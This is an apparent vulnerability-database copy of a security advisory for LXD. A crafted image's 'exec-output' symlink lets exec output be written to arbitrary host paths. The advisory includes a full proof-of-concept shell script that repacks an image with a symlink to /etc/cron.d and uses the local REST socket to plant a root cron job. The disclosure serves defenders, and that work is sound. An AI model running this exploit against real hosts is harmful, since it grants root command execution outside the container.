GHSA-9j25-mm2h-2f76 json
LXD has arbitrary file write on host via `exec-output` symlink in crafted image
published 2026-11-06 2 d ago modified 2026-11-06 2 d ago
- cvss
- 9.9
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
### Summary
The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
### Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink.
### PoC
Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution.
``` #!/bin/sh # usage: $0 existing-imagefp set -eu
basefp="${1}"
die() { printf '%s' "${@}" >&2 exit 1 }
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack" cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \; ```
### Impact
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
Patch / fix
- go github.com/canonical/lxd 0.0.0-20260626085134-124f90100640
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| go | github.com/canonical/lxd | <0.0.0-20260626085134-124f90100640 |
0.0.0-20260626085134-124f90100640 |
Classification
- Weakness
-
- CWE-73 External Control of File Name or Path
References
-
github.com
/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70
web
-
github.com
/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
web
-
github.com
/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
web
-
github.com
/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953
web
-
github.com
/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764
web
-
github.com
/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76
web
-
github.com
/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9
web
-
nvd.nist.gov
/vuln/detail/CVE-2026-48750
advisory
-
github.com
/canonical/lxd
package
-
github.com
/canonical/lxd/releases/tag/lxd-5.21.5
web
-
manpages.debian.org
/bookworm/cron/cron.8.en.html
web
Sources
- GitHub Advisory GHSA-9j25-mm2h-2f76
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.